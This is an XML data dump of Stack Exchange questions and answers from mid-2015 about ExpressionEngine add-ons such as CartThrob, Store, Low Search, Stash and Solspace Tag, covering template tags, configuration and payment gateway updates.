  <row Id="32443" PostTypeId="2" ParentId="32442" CreationDate="2015-07-27T20:43:05.600" Score="1" Body="&lt;p&gt;You can use the Default Shipping gateway and create a new method called &quot;Pickup&quot; without any prices associated with it along with your other shipping methods.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in your template you can use a conditional to check if the &lt;code&gt;shipping_method_id&lt;/code&gt; is not equal to Pickup in which case you need the shipping details such as address, city, state, zip.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-07-27T20:43:05.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32444" PostTypeId="2" ParentId="32436" CreationDate="2015-07-27T20:45:29.270" Score="0" Body="&lt;p&gt;Store is MSM compatible but currently carts and products are restricted to the site that they are created in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you Store tags make sure that you are setting the &lt;code&gt;site_id=&quot;X&quot;&lt;/code&gt; to the proper site.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-07-27T20:45:29.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32445" PostTypeId="2" ParentId="32437" CreationDate="2015-07-27T21:27:58.050" Score="0" Body="&lt;p&gt;Currently CartThrob 2.6.1 which is the most recent released version of CT does not support SagePay v3 api. CartThrob recently changed ownership to Vector Media Group (&lt;a href=&quot;https://www.vectormediagroup.com/blog/view/vector-acquired-cartthrob-ct-admin&quot; rel=&quot;nofollow&quot;&gt;blog post&lt;/a&gt;) which has said on other channels that they are aware of the looming deadline for SagePay api requirements and are working on getting an update out soon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having said that I believe that v2.3 of CT requires at least EE 2.6 and that CT2.6 adds support for EE2.8/2.9.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-07-27T21:27:58.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32446" PostTypeId="2" ParentId="32437" CreationDate="2015-07-27T21:42:11.133" Score="1" Body="&lt;p&gt;I'm with Vector, and as Justin says, we are the new owners of CartThrob. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We've just released version 2.62 of CartThrob, which includes support for the SagePay v3 API. You can get it from your &quot;Downloads&quot; area on &lt;a href=&quot;http://www.CartThrob.com&quot; rel=&quot;nofollow&quot;&gt;http://www.CartThrob.com&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, if you can't upgrade CartThrob itself for any reason, the updated gateway files are here: &lt;a href=&quot;http://www.cartthrob.com/free_downloads/payment_gateways/sagePay.zip&quot; rel=&quot;nofollow&quot;&gt;http://www.cartthrob.com/free_downloads/payment_gateways/sagePay.zip&lt;/a&gt;. Just download them and replace the files in your installation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;[Edited because this has now been released]&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="376" LastEditorUserId="376" LastEditDate="2015-07-29T12:34:57.787" LastActivityDate="2015-07-29T12:34:57.787" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32447" PostTypeId="1" AcceptedAnswerId="32456" CreationDate="2015-07-28T02:30:10.117" Score="0" ViewCount="26" Body="&lt;p&gt;I have the pre-populated fields working but it doesn't seem to work for custom fields. This is the code that I am using. I am mapping the custom member field to the custom field in store but it's not pulling in the info. The other ones I set up worked but they weren't custom. Any thoughts?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;control-group {if error:order_custom2}error{/if}&quot;&amp;gt;&#xA;    &amp;lt;label class=&quot;control-label&quot; for=&quot;order_custom2&quot;&amp;gt;Cell Phone&amp;lt;/label&amp;gt;&#xA;    &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;        {field:order_custom2} {error:order_custom2}&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1187" LastEditorUserId="115" LastEditDate="2015-07-28T16:17:26.843" LastActivityDate="2015-07-28T16:17:37.413" Title="Populate Custom Order Fields for Logged In Members" Tags="|expresso-store|expresso|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32448" PostTypeId="1" AcceptedAnswerId="32467" CreationDate="2015-07-28T04:36:37.343" Score="0" ViewCount="294" Body="&lt;p&gt;Is it possible to order &lt;code&gt;{exp:channel:entries}&lt;/code&gt; results based on the content of a Grid field? In my case, I want to order a list of conference sessions by start time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the &lt;code&gt;{exp:channel:entries}&lt;/code&gt; tag I'm using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;sessions&quot; orderby=&quot;{session_time}{session_time:start}{/session_time}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#orderby&quot; rel=&quot;nofollow&quot;&gt;Channel Entries&lt;/a&gt; entry in the ExpressionEngine documentation doesn't state Grid fields aren't supported.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2015-07-29T16:17:00.410" Title="Ordering Channel Entries results based on Grid content?" Tags="|channel-entries|grid|orderby|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32449" PostTypeId="1" CreationDate="2015-07-28T08:06:59.280" Score="0" ViewCount="106" Body="&lt;p&gt;Is it possible to only target specific MSM sites, as opposed to all sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have two subdomains and a www site using the same MSM installation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to share a cookies between sub1.domain.co.uk and sub2.domain.co.uk but not affect www.domain.co.uk&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically i want my members to be able to login to sub1 and automatically be logged in for sub2 domains but not www.&lt;/p&gt;&#xA;" OwnerUserId="3335" LastActivityDate="2015-10-28T17:49:46.560" Title="MSM specific config settings" Tags="|multi-site-manager|cookies|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32450" PostTypeId="1" CreationDate="2015-07-28T08:14:33.943" Score="1" ViewCount="30" Body="&lt;p&gt;I'm using Helpdesk add-on (EE 2.10.1 HD 1.2.5). I have a problem with attachments. If someone emails me attachment it works fine - it is visible in the Helpdesk panel, and in the server folder. Path and the url are set properly and destination is writable. However If I will reply, post note with the attachment it will not be write to server. I get no error but the attachment is not written. Same story with the creating ticket. I'm able to select the attachment but after saving the ticket the file is gone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did the clean install of the EE and the HD but the issue persist. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm on Mac, tested with few different browsers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="6526" LastEditorUserId="182" LastEditDate="2015-07-29T13:54:01.810" LastActivityDate="2015-07-29T13:54:01.810" Title="Help Desk (by krea) won't upload attachments" Tags="|ee2|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32451" PostTypeId="1" CreationDate="2015-07-28T08:56:42.947" Score="0" ViewCount="63" Body="&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After some debugging, the issue seems to be around the text content of the tweet or Instagram photo. Looking in the database, if I save the caption or tweet text, the data suddenly cuts of in the parameters column. &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I'm trying to create a social media wall pulling in photos from instagram and tweets from twitter with a certain tag. I create a list for each network (Twitter, instagram, EE) and then we join them lists. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got this working fine, the tweets and photos pull in fine, but when I try to cache the stash lists, I get some odd behaviour. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the first load, it works great, the list is created and the list is saved in the database. If I then refresh that page, all of a sudden the list is either empty, has less results or has tags not rendering. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I tell Stash to replace the list every time, then it works. Any idea's whats happening here?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;instagram--{embed:term}{get:ig}&quot; parse_tags=&quot;yes&quot; parse_conditionals=&quot;yes&quot; save=&quot;yes&quot; scope=&quot;site&quot; replace=&quot;no&quot; refresh=&quot;60&quot;}&#xA;    {exp:ig_picpuller:tagged_media user_id=&quot;1&quot; limit=&quot;12&quot; max_id=&quot;{get:ig}&quot; tag=&quot;{embed:term}&quot;}&#xA;&#xA;        {!-- Instagram Data --}&#xA;&#xA;    {/exp:ig_picpuller:tagged_media}&#xA;{/exp:stash:set_list}&#xA;&#xA;{exp:stash:set_list name=&quot;twitter--{embed:term}{get:tweet}&quot; parse_tags=&quot;yes&quot; match=&quot;#^(?!\s*$).+#&quot; against=&quot;image&quot; parse_depth=&quot;2&quot; parse_conditionals=&quot;yes&quot; save=&quot;yes&quot; scope=&quot;site&quot; replace=&quot;no&quot; refresh=&quot;60&quot;}&#xA;    {exp:ce_tweet:search q=&quot;#{embed:term}&quot; count=&quot;100&quot; max_id=&quot;{get:tweet}&quot;}&#xA;        {statuses}&#xA;&#xA;            {!-- Twitter Data --}&#xA;&#xA;        {/statuses}&#xA;    {/exp:ce_tweet:search}&#xA;{/exp:stash:set_list}&#xA;&#xA;{exp:stash:set_list name=&quot;posts--{embed:term}&quot; parse_tags=&quot;yes&quot; parse_conditionals=&quot;yes&quot; parse_depth=&quot;10&quot;}&#xA;    {exp:channel:entries channel=&quot;channelName&quot; limit=&quot;300&quot; dynamic=&quot;no&quot; disable=&quot;categories|category_fields|member_data|pagination&quot;}&#xA;&#xA;        {!-- EE Data --}&#xA;&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&#xA;{exp:stash:join_lists name=&quot;media--{embed:term}&quot; lists=&quot;twitter--{embed:term}{get:tweet},instagram--{embed:term}{get:ig},posts--{embed:term}&quot;}&#xA;&#xA;&#xA;&#xA;{exp:stash:get_list name=&quot;media--{embed:term}&quot; limit=&quot;20&quot; offset=&quot;{get:offset}&quot; unique=&quot;id&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; sort_type=&quot;numeric&quot;}&#xA;    {!-- Play with the list --}&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2764" LastEditorUserId="2764" LastEditDate="2015-07-28T13:22:26.343" LastActivityDate="2016-06-08T11:17:35.403" Title="Stash list empty on refresh" Tags="|stash|caching|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32452" PostTypeId="1" AcceptedAnswerId="32453" CreationDate="2015-07-28T13:25:57.053" Score="1" ViewCount="142" Body="&lt;p&gt;I've got Low Search working in a site thats using keyword and a separate category filter menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The client has pointed out that when he searches for...&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Director - Product appears (As is in 'Title') &#xA;  &lt;br&gt;Directors - Product doesn't appear&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Robens - Product appears (As is in 'Title')&#xA;  &lt;br&gt;Roben - Product doesn't appear&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I've got this current setup...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:form&#xA;    result_page=&quot;shop/search&quot;&#xA;    form_class=&quot;form-inline&quot;&#xA;    collection=&quot;shop_product&quot;&#xA;    keywords:lang=&quot;en&quot;&#xA;    keywords:inflect=&quot;yes&quot;&#xA;    keywords:loose=&quot;both&quot;&#xA;    keywords:mode=&quot;all&quot;&#xA;    keywords:stem=&quot;yes&quot;&#xA;    search_mode=&quot;any&quot;&#xA;}&#xA;    &amp;lt;ul&amp;gt;&#xA;        &amp;lt;li&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; name=&quot;keywords&quot; placeholder=&quot;I'm looking for...&quot;&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;        &amp;lt;li&amp;gt;&#xA;            &amp;lt;input type=&quot;submit&quot; value=&quot;Find&quot; class=&quot;button alternate&quot;&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;{/exp:low_search:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I feel like I'm adding too many parameters in for this to work. I've read through numerous docs and form/stackexchange posts and still can't seem to get this working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="362" LastActivityDate="2015-07-28T13:34:20.157" Title="Low Search Fuzzy Search Questions" Tags="|search|low-search|low|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32453" PostTypeId="2" ParentId="32452" CreationDate="2015-07-28T13:34:20.157" Score="2" Body="&lt;p&gt;As per &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/parameters#params&quot; rel=&quot;nofollow&quot;&gt;the docs&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[P]arameters can be applied in two ways: as input fields in a Form, or as hard-coded parameters in the Results or URL tag.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You've got the filter parameters set on the Form tag, which will have no effect (as &lt;a href=&quot;http://gotolow.com/addons/low-search/docs#to-3.0&quot; rel=&quot;nofollow&quot;&gt;per v3.0&lt;/a&gt;, anyway). You should move all those parameters (except &lt;code&gt;result_page&lt;/code&gt; and &lt;code&gt;form_class&lt;/code&gt;, which are valid &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/tags#form-tag-parameters&quot; rel=&quot;nofollow&quot;&gt;Form tag&lt;/a&gt; parameters) to the Results tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, make sure you're running &lt;a href=&quot;http://gotolow.com/addons/low-search/changelog#v4.0.0&quot; rel=&quot;nofollow&quot;&gt;version 4&lt;/a&gt; at least, as the inflection and stemming rules were added in that version. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, I'd recommend &lt;em&gt;not&lt;/em&gt; using &lt;code&gt;keywords:loose=&quot;both&quot;&lt;/code&gt; &lt;em&gt;unless&lt;/em&gt; you're searching a language that has no spaces as word delimiters, like Chinese or Thai.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-07-28T13:34:20.157" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32456" PostTypeId="2" ParentId="32447" CreationDate="2015-07-28T16:17:37.413" Score="1" Body="&lt;p&gt;To pull in data automatically you need to make sure that you have mapped your &lt;code&gt;order_customX&lt;/code&gt; fields to member fields in the Store &gt; Settings &gt; Order Fields. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have done that you will need to make sure that the user in question has completed an order since they are mapped. If you have added them to your template with an item in already in the cart you will need to empty your cart and add a new item to the cart to reload the member data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If after that it still does not work:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What version of EE and Store are you using?&lt;/li&gt;&#xA;&lt;li&gt;Check the Member &gt; View All &gt; Member Account in question &gt; Edit&#xA;Profile to see if the data has been mapped and is displayed&lt;/li&gt;&#xA;&lt;li&gt;Try adding just &lt;code&gt;{order_custom2}&lt;/code&gt; to the template to see if is outputting data properly.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-07-28T16:17:37.413" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32458" PostTypeId="2" ParentId="993" CreationDate="2015-07-28T16:26:10.507" Score="0" Body="&lt;p&gt;If you want to use the default Vimeo player, then its better to use a plugin to achieve the functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can try the Youmax plugin - it will embed your Vimeo videos with thumbnails and play it in the Vimeo player.&lt;/p&gt;&#xA;" OwnerUserId="6527" LastActivityDate="2015-07-28T16:26:10.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32460" PostTypeId="1" CreationDate="2015-07-28T21:55:01.573" Score="1" ViewCount="68" Body="&lt;p&gt;How would i go about introducing some sort of 'like post' feature in EE's discussion forum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something similar to Solspace's 'Rating' module would be great, is it possible to use this with discussion forum. &lt;/p&gt;&#xA;" OwnerUserId="3335" LastActivityDate="2016-05-11T19:54:43.553" Title="Vote up or 'Like' Post/Reply" Tags="|forum|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32461" PostTypeId="2" ParentId="32451" CreationDate="2015-07-29T07:55:14.857" Score="0" Body="&lt;p&gt;I figured out the issue, as mentioned in my edit, the problem was to do with the text content from the tweet or Instagram caption. I simply JSON Encoded/Decoded the text and everything started working again. &lt;/p&gt;&#xA;" OwnerUserId="2764" LastActivityDate="2015-07-29T07:55:14.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32463" PostTypeId="2" ParentId="32460" CreationDate="2015-07-29T12:16:40.670" Score="0" Body="&lt;p&gt;Off the top of my head I wonder if you could use the comment feature to make a &quot;Like&quot; system. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming you aren't using comments for the things you wish to add the &quot;Like&quot; feature to. Imagine if the &quot;Like&quot; button submitted a hidden comment form with minimal/common detail in it. You can then show the count of the number of comments as &quot;Likes&quot;.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2015-07-29T12:16:40.670" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32465" PostTypeId="1" AcceptedAnswerId="32466" CreationDate="2015-07-29T15:07:06.673" Score="0" ViewCount="40" Body="&lt;p&gt;I've reached out to SolSpace for help with this, but they aren't proving to be very smart. Perhaps the SE community can come to the rescue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to display a list of my entries associated with a certain tag, but so far this only yields a blank page. I know my tags are working correctly because they are automatically showing up on the categories left-hand list and below the articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code for the by_tag EE template.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        {exp:tag:entries channel=&quot;blog_entry&quot;}&#xA;        &amp;lt;div class=&quot;entry-tease&quot; style=&quot;width:100%;float:left;clear:both;&quot;&amp;gt;&#xA;            &amp;lt;img src=&quot;{blog_image}&quot; class=&quot;teaser-image&quot;&amp;gt;&#xA;            &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;{url_title_path='blog/entry'}&quot; title=&quot;{title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;            {exp:trunchtml chars=&quot;450&quot; inline=&quot;...&quot;}&#xA;                {entry_text}&#xA;            {/exp:trunchtml}&#xA;            &amp;lt;a href=&quot;{url_title_path='blog/entry'}&quot; title=&quot;Read more&quot; class=&quot;read-button&quot;&amp;gt;Read more&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        {/exp:tag:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any thoughts why this isn't working? SolSpace said it should with the exp:tag:entries opening and closing blocks, but again, nothing. I know there's 2 articles tagged with news as well. I do have Structure installed, but I don't see why it would be causing interference.&lt;/p&gt;&#xA;" OwnerUserId="6485" LastEditorUserId="6485" LastEditDate="2015-07-29T16:28:26.947" LastActivityDate="2015-07-29T16:28:26.947" Title="Solspace Tag entries page not displaying list" Tags="|solspace|solspace-tag|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32466" PostTypeId="2" ParentId="32465" CreationDate="2015-07-29T15:20:46.120" Score="0" Body="&lt;p&gt;Have you tried this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://solspace.com/docs/tag/tags/#tag_group_name&quot; rel=&quot;nofollow&quot;&gt;https://solspace.com/docs/tag/tags/#tag_group_name&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set your tag_group_name parameter to {segment_4}.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:tag:entries channel=&quot;blog_entry&quot; tag_group_name=&quot;{segment_4}&quot;}&#xA;    ...&#xA;{/exp:tag:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-07-29T15:20:46.120" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32467" PostTypeId="2" ParentId="32448" CreationDate="2015-07-29T16:17:00.410" Score="1" Body="&lt;p&gt;You can only order entries by the literal contents of the fieldtype's column in the &lt;code&gt;exp_channel_data&lt;/code&gt; table. So you can order by &lt;code&gt;session_time&lt;/code&gt; (if you set that Grid field to be searchable - otherwise the column will not hold any data) - but you will be ordering by the concatenated contents of all columns and rows in that entry's &lt;code&gt;session_time&lt;/code&gt; field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You cannot specify a specific column in a Grid field to order by though.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-07-29T16:17:00.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32468" PostTypeId="2" ParentId="32449" CreationDate="2015-07-29T16:26:51.397" Score="1" Body="&lt;p&gt;You can use the &lt;code&gt;$assign_to_config&lt;/code&gt; array in each site's &lt;code&gt;index.php&lt;/code&gt; and &lt;code&gt;admin.php&lt;/code&gt; files to set &lt;em&gt;some&lt;/em&gt; per-site config items. (&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/general/system_configuration_overrides.html#site-index-file&quot; rel=&quot;nofollow&quot;&gt;See docs.&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you might have better luck using a &lt;code&gt;switch&lt;/code&gt; statement in your main &lt;code&gt;config.php&lt;/code&gt; file, e.g.,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;switch($_SERVER['SERVER_NAME'])&#xA;{&#xA;    case 'www.domain.co.uk':&#xA;        $config['foo'] = 'bar';&#xA;        break;&#xA;    case 'sub1.domain.co.uk':&#xA;        $config['foo'] = 'baz';&#xA;        break;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For sharing cookies, look at the &lt;code&gt;$config['multi_login_sites']&lt;/code&gt; variable, e.g.,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['multi_login_sites'] = 'http://sub1.domain.co.uk|http://sub2.domain.co.uk';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-07-29T16:26:51.397" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32469" PostTypeId="1" CreationDate="2015-07-30T02:01:30.367" Score="1" ViewCount="72" Body="&lt;p&gt;I'm trying to find a way to update a Zoo Visitor member entry expiration date after an order in Store has been placed/confirmed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The order is a subscription renewal so the member/member details already exist in the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am capturing a new expiration date (set to one year ahead) as a custom field when taking the order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just don't know how to update the members entry with the new expiration date?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Appreciate any ideas/help.&lt;/p&gt;&#xA;" OwnerUserId="553" LastActivityDate="2015-07-30T02:01:30.367" Title="Change/update Zoo Visitor entry expiration date after order submitted" Tags="|expresso-store|zoo-visitor|expresso|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32470" PostTypeId="1" AcceptedAnswerId="32476" CreationDate="2015-07-30T04:32:06.790" Score="1" ViewCount="93" Body="&lt;p&gt;I'm working on a fabric store where each entry for a type of fabric has multiple colours: each colour is the same price so I don't really need price modifiers, but they can have different stock levels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I set this up using CT and Grid or Matrix?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the error message that comes up when trying to order an item that doesn't have enough stock is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;There are just X remaining of item 'Y'…&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;but this site is selling some items which are measured in metres, some in pairs, and some in pieces and the client would like to be able to customise the error message to indicate the type, e.g. &lt;em&gt;20m of 'Y'&lt;/em&gt;. Is that possible?&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2015-07-30T13:10:13.163" Title="Using a grid/matrix field to set stock levels for different colours with CartThrob" Tags="|cartthrob|matrix|grid|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32471" PostTypeId="2" ParentId="32244" CreationDate="2015-07-30T05:58:44.567" Score="0" Body="&lt;p&gt;After a heck of a lot of searching and trial and error, resulting in a lot of malformed URLs along the lines of my original problem description, I began to look at the url_cancel field in the exp_subs_requests table after each failed test transaction that was sending me to a junk URL. I finally got it to send me to the correct URL upon subscription error by changing line 39 in /subs/src/model/Request.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//$charge-&amp;gt;url_cancel = ee()-&amp;gt;functions-&amp;gt;fetch_current_uri();&#xA;$charge-&amp;gt;url_cancel = ee()-&amp;gt;config-&amp;gt;item('site_url').'/'.ee()-&amp;gt;session-&amp;gt;tracker['1'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it appears that this line is setting the url_cancel after the URI has already changed in some manner. Setting it to the last page in the tracker array was the only way I could get it to send me back to the page with the sub form upon error. Not sure why this is but for me its now working. &lt;/p&gt;&#xA;" OwnerUserId="149" LastActivityDate="2015-07-30T05:58:44.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32472" PostTypeId="1" CreationDate="2015-07-30T07:35:54.253" Score="0" ViewCount="174" Body="&lt;p&gt;I have a page that uses Magnific Popup to show popups (&lt;a href=&quot;http://dimsemenov.com/plugins/magnific-popup/documentation.html&quot; rel=&quot;nofollow&quot;&gt;http://dimsemenov.com/plugins/magnific-popup/documentation.html&lt;/a&gt;). This popup it being loaded with the following peace of Javascript:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('.popoup-team').magnificPopup({&#xA;    type: 'ajax'&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There an overview page (which is the page that you can click the popup) and when clicking the popup, another page is loaded with ajax, which only contains the popup.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:channel:entries&#xA;    channel=&quot;team&quot;&#xA;    dynamic=&quot;no&quot;&#xA;&#xA;}&#xA;    &amp;lt;div class=&quot;ajax-text-and-image white-popup-block&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;col-xs-4 team-image&quot;&amp;gt;&#xA;                {exp:ce_img:single&#xA;                    src=&quot;{team_afbeelding}&quot;&#xA;                    class=&quot;img-responsive&quot;&#xA;                    width=&quot;279&quot;&#xA;                    height=&quot;279&quot;&#xA;                    crop=&quot;yes&quot;&#xA;                }&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;col-xs-8&quot;&amp;gt;&#xA;                &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;                &amp;lt;h2&amp;gt;{team_functie}&amp;lt;/h2&amp;gt;&#xA;                {team_beschrijving}&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is that the id of the entry that I'm trying to show in the popup is established in url of the overview page, and I'm unable to reach that id in the detail page that contains the popup. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the URLS are:&#xA;Overview page URL: domain.com/team/25 &#xA;Detail page URL: domain.com/team/detail&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody know a solution for this?&lt;/p&gt;&#xA;" OwnerUserId="6530" LastActivityDate="2016-05-16T10:26:56.567" Title="Magnific popup retrieving entry problem" Tags="|channel-entries|url|ajax|entry|entryid|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32473" PostTypeId="2" ParentId="32472" CreationDate="2015-07-30T07:53:56.893" Score="0" Body="&lt;p&gt;Never mind, I was thinking way too complicated, obviously... Of course while loading the popup in the overview page, I could just change the link into &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;team/detail/{entry_id}&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Instead of overthinking it and trying to put the entry_id into an id and retrieving it through jQuery... &lt;/p&gt;&#xA;" OwnerUserId="6530" LastActivityDate="2015-07-30T07:53:56.893" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
